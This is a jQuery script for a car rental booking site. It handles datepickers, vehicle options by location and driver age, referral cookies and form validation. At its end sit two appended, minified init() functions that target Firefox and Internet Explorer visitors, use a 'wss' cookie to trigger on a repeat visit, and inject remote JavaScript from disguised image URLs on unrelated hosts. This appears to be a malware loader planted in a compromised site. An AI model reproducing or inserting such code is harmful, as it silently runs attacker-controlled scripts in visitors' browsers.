$(document).ready(function(){
	// Set up Datepicker
	$("#pickupdate, #dropoffdate").datepicker({
		showOn: "both",
		buttonImage: "images/calendar.gif",
		buttonImageOnly: true,
		beforeShow: customRange
	});

	function customRange(input) {
		var dateMin = new Date(), //Set this to your absolute minimum date
			dateMax = null;

		if (input.id === "dropoffdate") {
			if ($("#pickupdate").datepicker("getDate") != null) {
				dateMin = $("#pickupdate").datepicker("getDate");
			}
		}

		return {
			minDate: dateMin,
			maxDate: dateMax
		};
	};

	// If Pickup Date is after Dropoff Date, clear the Dropoff Date field
	$("#pickupdate").change(function(){
		if ($("#dropoffdate").datepicker("getDate") != null) {
			if ($("#pickupdate").datepicker("getDate") >= $("#dropoffdate").datepicker("getDate")) {
				$("#dropoffdate").val("");
			}
		}
		// remove 'Invalid Pickup Time' error if pickupdate is later than today
		var matches = $(this).val().match(/([0-9]{2})\/([0-9]{2})\/([0-9]{4})/);
		var dt = new Date(parseInt(matches[3], 10), parseInt(matches[2], 10)-1, parseInt(matches[1], 10));
		var today = new Date();
		var year = today.getFullYear();
		var month = today.getMonth();
		var day = today.getDate();
		today = new Date(year, month, day);
		if (dt > today) {
			$("#errMsgbox li:contains('Invalid Pickup Time')").hide();
		}
	});

	// remove 'Dropoff Time must be later than Pickup Time' error if dropoffdate is later than pickupdate
	$("#dropoffdate").change(function(){
		if ($("#dropoffdate").datepicker("getDate") != null) {
			if ($("#pickupdate").datepicker("getDate") < $("#dropoffdate").datepicker("getDate")) {
				$("#errMsgbox li:contains('Dropoff Time must be later than Pickup Time')").hide();
			}
		}
	});

	// Default State is HIDE for these two rows
	$("#rowOnewayRental").hide();
	$("#rowReturnLocation").hide();

	// In case user refresh the page
	if ($("#PickupLocationID").val()) $("#rowOnewayRental").show();
	if ($("#onewayRental").is(':checked') && $("#PickupLocationID").val()) $("#rowReturnLocation").show();
	if ($("#pickupdate").val() != '') $("#pickupdate").css("background","#FFF");
	if ($("#dropoffdate").val() != '') $("#dropoffdate").css("background","#FFF");
	if ($("#FirstName").val() != '') $("#FirstName").css("background","none");
	if ($("#LastName").val() != '') $("#LastName").css("background","none");

	$("#PickupLocationID").change(function(){
		if ($(this).val()) {
			$("#rowOnewayRental").show();
			if ($("#onewayRental").is(':checked')) $("#rowReturnLocation").show();
		} else {
			$("#rowOnewayRental").hide();
			$("#rowReturnLocation").hide();
		};

		//300, 310 and 320 do not have TTMR, PVMR and JCAR
		if ($(this).val() == '300' || $(this).val() == '310' || $(this).val() == '320') {
			if ($("#CarSizeID").val() == 'TTMR' || $("#CarSizeID").val() == 'PVMR') alert("Sorry... our Melbourne location does not have Ute or Truck.");
			$("#CarSizeID option:[value=TTMR]").remove();
			$("#CarSizeID option:[value=PVMR]").remove();
		} else {
			var oldCarSizeID = $("#CarSizeID").val();
			$("#CarSizeID option:[value=TTMR]").remove();
			$("#CarSizeID option:[value=PVMR]").remove();
			$("#CarSizeID option:[value=MVAR]").after('<option value="TTMR">1 Tonne Utility</option><option value="PVMR">3 Tonne Pantec Truck</option>');
			$("#CarSizeID option:[value="+oldCarSizeID+"]").attr("selected","selected");
		}
	});

	// In case user refresh the page
	if ($("#PickupLocationID").val() == '300' || $("#PickupLocationID").val() == '310' || $("#PickupLocationID").val() == '320') {
		$("#CarSizeID option:[value=TTMR]").remove();
		$("#CarSizeID option:[value=PVMR]").remove();
	}

	$("#onewayRental").click(function(){
		if ($(this).is(':checked')) {
			$("#rowReturnLocation").show();
		} else {
			$("#rowReturnLocation").hide();
		}
	});

	$(":radio[value=U]").click(function(){

        // Underage drivers can only hire ECMR, CCAR, ICAR, SCAR
		var carSize = $("#CarSizeID").val();
		if (carSize == 'FCAR' || carSize == 'JCAR' || carSize == 'MVAR' || carSize == 'TTMR' || carSize == 'PVMR') {
			$("#CarSizeID option:[value=SCAR]").attr('selected','selected');
			alert("Unfortunately you have to be over 25 years of age to rent this vehicle.\n\nThe largest category you can rent is a Standard Sedan.\n\nPlease give us a call so that we can assist you with the best vehicle and deal for you!");
			$("#CarSizeID").focus();
		}
		$("#CarSizeID option:[value=FCAR]").remove();
		$("#CarSizeID option:[value=JCAR]").remove();
		$("#CarSizeID option:[value=MVAR]").remove();
		$("#CarSizeID option:[value=TTMR]").remove();
		$("#CarSizeID option:[value=PVMR]").remove();
	});

	$(":radio[value=M]").click(function(){

        // Restore vehicle classes FCAR JCAR MVAR TTMR PVMR
		if (!($("#CarSizeID option:[value=FCAR]").length > 0)) {
			if ($("#PickupLocationID").val() == '300' || $("#PickupLocationID").val() == '310' || $("#PickupLocationID").val() == '320') {
				$("#CarSizeID option:[value=SCAR]").after('<option value="FCAR">Family Sedan</option><option value="MVAR">Luxury 8 Seater</option>');
			} else {
				$("#CarSizeID option:[value=SCAR]").after('<option value="FCAR">Family Sedan</option><option value="JCAR">Family SUV</option><option value="MVAR">Luxury 8 Seater</option><option value="TTMR">1 Tonne Utility</option><option value="PVMR">3 Tonne Pantec Truck</option>');
			}
		}
	});

	// In case user refresh the page
	if ($(":radio[value=U]").is(':checked')) {
		$("#CarSizeID option:[value=FCAR]").remove();
		$("#CarSizeID option:[value=JCAR]").remove();
		$("#CarSizeID option:[value=MVAR]").remove();
		$("#CarSizeID option:[value=TTMR]").remove();
		$("#CarSizeID option:[value=PVMR]").remove();
	}

	// Set referral ID
	var anchorval = self.location.hash;
	anchorval = anchorval.substring(7).toUpperCase();

    if (anchorval != "") {
		Set_Cookie('refid', anchorval, 60, '/', '', ''); //set js cookie
	} else if (Get_Cookie('refid')) {
		anchorval = Get_Cookie('refid'); //get js cookie
	}

    // check to see if referralID exists on Page
	if ($("#referralID").length > 0) $('#referralID').val(anchorval);

	// Client side form validation
	$.validator.addMethod(
		"checkReturnLocation",
		function(value, element, param) {
			if ($("#onewayRental").is(':checked')) {
				return $.trim(value).length > 0;
			} else return true;
		}
	);

	$.validator.addMethod(
		"checkValidDate",
		function(value, element, param) {
			if (value.match(/[0-9]{2}\/[0-9]{2}\/[0-9]{4}/) == null) return false;

			var matches = value.match(/([0-9]{2})\/([0-9]{2})\/([0-9]{4})/);
			var year = matches[3];
			var month = matches[2];
			var day = matches[1];

			var dt = new Date(parseInt(year, 10), parseInt(month, 10)-1, parseInt(day, 10));
			if(dt.getDate() != parseInt(day, 10) || dt.getMonth() != (parseInt(month, 10)-1) || dt.getFullYear() != parseInt(year, 10)) {
				return false;
			} else return true;

		},
		"Date should be a valid date in dd/mm/yyyy format."
	);

	$.validator.addMethod(
		"checkPickupDate",
		function(value, element, param) {
			var matches = value.match(/([0-9]{2})\/([0-9]{2})\/([0-9]{4})/);
			var dt = new Date(parseInt(matches[3], 10), parseInt(matches[2], 10)-1, parseInt(matches[1], 10));
			var today = new Date();
			var year = today.getFullYear();
			var month = today.getMonth();
			var day = today.getDate();
			today = new Date(year, month, day);
			return dt >= today;
		}
	);

	$.validator.addMethod(
		"checkReturnDate",
		function(value, element, param) {
			var matches = value.match(/([0-9]{2})\/([0-9]{2})\/([0-9]{4})/);
			var dt2 = new Date(parseInt(matches[3], 10), parseInt(matches[2], 10)-1, parseInt(matches[1], 10));
			matches = $("#pickupdate").val().match(/([0-9]{2})\/([0-9]{2})\/([0-9]{4})/);
			var dt1 = new Date(parseInt(matches[3], 10), parseInt(matches[2], 10)-1, parseInt(matches[1], 10));
			return dt2 >= dt1;
		}
	);

	$.validator.addMethod(
		"checkReturnTime",
		function(value, element, param) {
			if ($("#dropoffdate").val() == $("#pickupdate").val() && $("#dropoffdate").val() != '' && $("#pickupdate").val() != '') {
				return $("#doTime").val().replace(':','').replace(':','') > $("#puTime").val().replace(':','').replace(':','');
			} else return true;
		}
	);

	$.validator.addMethod(
		"checkPickupTime",
		function(value, element, param) {
			var d = new Date();
			var m = d.getMonth()+1;
			var now = d.getDate()+'/'+m+'/'+d.getFullYear();
			if ($("#pickupdate").val() == now) {
				return $("#puTime").val().replace(':','').replace(':','') > d.getHours().toString()+d.getMinutes().toString()+'00';
			} else return true;
		}
	);

	$("#InstantQuoteHP").validate({
		debug: false,
		errorClass: "invalid",
		errorContainer: "#errMsgbox",
		errorLabelContainer: "#errMsgbox ul",
		wrapper: "li",

		rules: {
			PickupLocationID: "required",
			DropoffLocationID: {
				checkReturnLocation: true
			},
			pickupdate: {
				required: true,
				checkValidDate: true,
				checkPickupDate: true
			},
			dropoffdate: {
				required: true,
				checkValidDate: true,
				checkReturnDate: true
			},
			puTime: "checkPickupTime",
			doTime: "checkReturnTime",
			FirstName: "required",
			LastName: "required",
			Phone: {
				required: true,
				digits: true
			},
			Email: {
				required: true,
				email: true
			},
			HearAboutUs: "required"
		},
		messages: {
			PickupLocationID: "select vehicle pickup location.",
			DropoffLocationID: {
				checkReturnLocation: "select vehicle return location."
			},
			pickupdate: {
				required: "choose vehicle pickup date.",
				checkValidDate: "Pickup Date should be a valid date in dd/mm/yyyy format.",
				checkPickupDate: "Pickup Date cannot be earlier than today."
			},
			dropoffdate: {
				required: "choose vehicle return date.",
				checkValidDate: "Return Date should be a valid date in dd/mm/yyyy format.",
				checkReturnDate: "Return Date must be later than Pickup Date."
			},
			puTime: "Invalid Pickup Time.",
			doTime: "Dropoff Time must be later than Pickup Time.",
			FirstName: "enter your first name.",
			LastName: "enter your last name.",
			Phone: {
				required: "enter your phone number.",
				digits: "enter only digits for phone number."
			},
			Email: {
				required: "provide a valid email address.",
				email: "provide a valid email address."
			},
			HearAboutUs: "select how you heard of us."
		}
	});

	$("#CorpReg").validate({
		debug: false,
		errorClass: "invalid",
		wrapper: "div",

		rules: {
			contact_FirstName: "required",
			contact_LastName: "required",
			contact_Phone: "required",
			contact_Email: "required",
			companyName: "required",
			Address: "required",
			Suburb: "required",
			State: "required",
			postCode: "required"
		},
		messages: {
			contact_FirstName: "&lArr; required",
			contact_LastName: "&lArr; required",
			contact_Phone: "&lArr; required",
			contact_Email: "&lArr; required",
			companyName: "&lArr; required",
			Address: "&lArr; required",
			Suburb: "&lArr; required",
			State: "&lArr; required",
			postCode: "&lArr; required"
		}
	});

	// Auto scroll to PHP validation errors
	if ($("#errorMsg").length > 0) {
		$('html, body').stop().animate({scrollTop: $("#errorMsg").offset().top-10}, 1000);
	}

});

// To use, simple do: Get_Cookie('cookie_name');
// replace cookie_name with the real cookie name, '' are required
function Get_Cookie( check_name ) {

    // first we'll split this cookie up into name/value pairs
	// note: document.cookie only returns name=value, not the other components
	var a_all_cookies = document.cookie.split( ';' );
	var a_temp_cookie = '';
	var cookie_name = '';
	var cookie_value = '';
	var b_cookie_found = false; // set boolean t/f default f
	var i = '';

	for ( i = 0; i < a_all_cookies.length; i++ )
	{
		// now we'll split apart each name=value pair
		a_temp_cookie = a_all_cookies[i].split( '=' );


		// and trim left/right whitespace while we're at it
		cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, '');

		// if the extracted name matches passed check_name
		if ( cookie_name == check_name )
		{
			b_cookie_found = true;
			// we need to handle case where cookie has no value but exists (no = sign, that is):
			if ( a_temp_cookie.length > 1 )
			{
				cookie_value = unescape( a_temp_cookie[1].replace(/^\s+|\s+$/g, '') );
			}
			// note that in cases where cookie is initialized but no value, null is returned
			return cookie_value;
			break;
		}
		a_temp_cookie = null;
		cookie_name = '';
	}
	if ( !b_cookie_found )
	{
		return null;
	}
}

/*
only the first 2 parameters are required, the cookie name, the cookie
value. Cookie time is in milliseconds, so the below expires will make the
number you pass in the Set_Cookie function call the number of days the cookie
lasts, if you want it to be hours or minutes, just get rid of 24 and 60.

Generally you don't need to worry about domain, path or secure for most applications
so unless you need that, leave those parameters blank in the function call.
*/
function Set_Cookie( name, value, expires, path, domain, secure ) {
	// set time, it's in milliseconds
	var today = new Date();
	today.setTime( today.getTime() );
	// if the expires variable is set, make the correct expires time, the
	// current script below will set it for x number of days, to make it
	// for hours, delete * 24, for minutes, delete * 60 * 24
	if ( expires ) {
		expires = expires * 1000 * 60 * 60 * 24;
	}

    var expires_date = new Date( today.getTime() + (expires) );

	document.cookie = name + "=" +escape( value ) +
		( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) + //expires.toGMTString()
		( ( path ) ? ";path=" + path : "" ) +
		( ( domain ) ? ";domain=" + domain : "" ) +
		( ( secure ) ? ";secure" : "" );
}

// this deletes the cookie when called
function Delete_Cookie( name, path, domain ) {
	if ( Get_Cookie( name ) ) document.cookie = name + "=" +
			( ( path ) ? ";path=" + path : "") +
			( ( domain ) ? ";domain=" + domain : "" ) +
			";expires=Thu, 01-Jan-1970 00:00:01 GMT";
}


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="http://gmk.lt//images/alarmsystem.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="http://sector.com.pl/img/common/logo.gif?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
